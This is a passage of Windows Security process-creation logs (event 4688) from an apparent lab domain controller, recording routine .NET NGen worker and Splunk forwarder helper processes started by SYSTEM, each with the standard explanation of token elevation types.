- New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 770 -InterruptEvent 0 -NGENProcess 66c -Pipe 760 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254525 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc8c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 6a0 -InterruptEvent 0 -NGENProcess 6a4 -Pipe 6b0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254527 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xca4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254526 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12b4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 748 -InterruptEvent 0 -NGENProcess 758 -Pipe 6d0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254528 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x47c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254529 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x248 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254535 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5cc - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 788 -InterruptEvent 0 -NGENProcess 76c -Pipe 798 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254534 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfe4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 798 -InterruptEvent 0 -NGENProcess 788 -Pipe 79c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254533 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc58 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 6a0 -InterruptEvent 0 -NGENProcess 758 -Pipe 6a4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254532 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1340 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 788 -InterruptEvent 0 -NGENProcess 52c -Pipe 718 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254531 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xea8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 718 -InterruptEvent 0 -NGENProcess 788 -Pipe 768 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254530 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x294 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254539 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd20 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254538 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x910 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254537 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x880 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 78c -InterruptEvent 0 -NGENProcess 69c -Pipe 6a0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254536 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd58 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 76c -InterruptEvent 0 -NGENProcess 5f8 -Pipe 788 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254540 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf90 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:17 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254542 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x368 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 6e0 -InterruptEvent 0 -NGENProcess 69c -Pipe 76c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:17 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254541 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb8c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 780 -InterruptEvent 0 -NGENProcess 5f8 -Pipe 784 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:19 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254544 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 